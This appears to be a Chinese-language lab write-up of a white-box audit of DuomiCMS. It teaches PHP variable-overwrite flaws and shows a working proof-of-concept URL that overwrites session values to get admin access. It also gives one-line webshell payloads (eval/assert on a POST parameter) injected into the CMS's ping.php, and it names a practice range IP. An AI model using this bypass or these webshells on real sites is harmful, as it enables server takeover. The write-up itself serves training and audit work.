白盒审计:白盒代码安全审计是常用的安全审计方法之一,是基于静态遍历代码逻辑的一种审计方式。
工具:Seay源代码审计系统、虚拟机服务器、DuomiCMS源码。
此次我们审计一个CMS,首先在本地虚拟机中安装好,方便审计时此时我们审计一个CMS,首先在本地虚拟机中安装好,方便审计时测试
Cms系统源文件张贴进虚拟机——安装
建议使用5.x以下是phpstudy不然需要配置ini
安装成功
常规的审计方法一般有两种:
1、从index.php一步步去看别的页面。
2、危险函数搜索。本次主要尝试变量覆盖漏洞的审计,采用第二种方法
变量覆盖漏洞:变量覆盖值指的是可以用我们自定义的参数值替换程序原有的变量值
怎么去寻找变量覆盖?
经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。变量覆盖漏洞有时候可以直接让我们webshell,拿到服务器的权限
经常引发变量覆盖漏洞的函数有:extract() | parse_str() | import_request_variables()
extract()函数(作用:将数组中变量导入到当前的符符号表)
上例题
1 | <?php |
运行结果:$a = Cat; $b = Dog; $c = Horse
parse_str()将查询字符串解析到变量中:
1 | <?php |
输出了zkaq和60
那么parse_str(“name=Bill&age=60”) 相当于完成了$name =’zkaq’和$age =’60’
那么如果在parse_str中可以直接传参的话,那么是不是也可以覆盖变量呢。
不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。
1 |
|
这个代码会接受我们GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_REQUEST
$_key=>$_value 这个是数组解析,实际上就是键值分离
正常而言$a=1是一个定值,但是因为_key的缘故,当我传参a=2;那么key=addslashes($_value);就变为了$a=2.
首先在审计软件中加入本次漏洞全局搜索规则:
系统配置——添加规则(就是存在漏洞的地方)
1 | 规则:([^\$"]|$)\$\{?\$ |
添加成功
全局搜索功能:搜索你感觉看不大懂的函数,因为很可能是自定义函数:
我们本次要找的是doumiphp\common.php文件的$$变量覆盖漏洞:直接定位就不搜索了
看一看这个变量函数满足的条件
1、必须要有传参
2、正则匹配不能有键名有cfg和GLOBALS传参中有$_k
3、不能有COOKIE传参中有$_k
这个系统有一个问题是cookie和session绑定,而且普通用户和管理员的session只有轻微的不同,我们只需要在一个接收session传参并且存在变量覆盖漏洞的页面将传参修改,便可获得管理员权限,登录管理员后台(),其中我们需要找到管理员的session值和普通用户的session的区别,分别抓取两个session的值对比:
接着找到这个检查核对的页面:找不到目录怎么办:
加一行修改虚拟机里的源代码,登录测试爆出绝对路径:不知道文件位置的情况:在该页面中写入die()函数,当测试执行时网页报错会显示出绝对路径。
但是最后要记得改回去,否则对于我们后面的测试会有碍。
然后进入check.admin.php页面找到SESSION的变量赋值规则:
主要找到保存回话的函数,这样我们给cookie赋值SESSION的话去别的页面还会带着这个管理员权限的session。
通过这里可以设置session值进行赋值来获得权限,groupid是权限的意思,我们全文一搜索,轻松的发现
对比找到SESSION不同的地方,就是管理员的值:
不同的键值:_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
构建POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
放入接受SESSION传参且存在变量覆盖漏洞的地方,给我们的cookie绑定上管理员SESSION值,然后访问管理员后台,自动登录:
本地环境测试下面靶场:
测试靶场:http://59.63.200.79:8010/abc/upload/
获得flag.
最后在后台的全局中的百度推送,可以通过插版权的方法拿到一个webshell:
插入一句话木马:123456789”;eval($_POST[‘z’]);//
会写入到 /duomicms/data/admin/ping.php 文件中,这也是我们审计中可以发现的,如果是黑盒的话,就无从下手了。
后来发现这个CMS禁用了eval()函数,使用assert()函数替代了eval()函数最后成功写入一句话木马。
http://127.0.0.1/upload/data/admin/ping.php?z=phpinfo()
eval($_REQUEST[‘z’])
assert($_REQUEST[‘z’])
不过有一个问题,eval传入一句话木马,系统本身禁用了eval()这个函数,我们访问写入木马的页面访问不到,但是菜刀可以连接上。改为assert()方式传入,可以检测到写入木马的页面 但是无法菜刀连接。我很费解!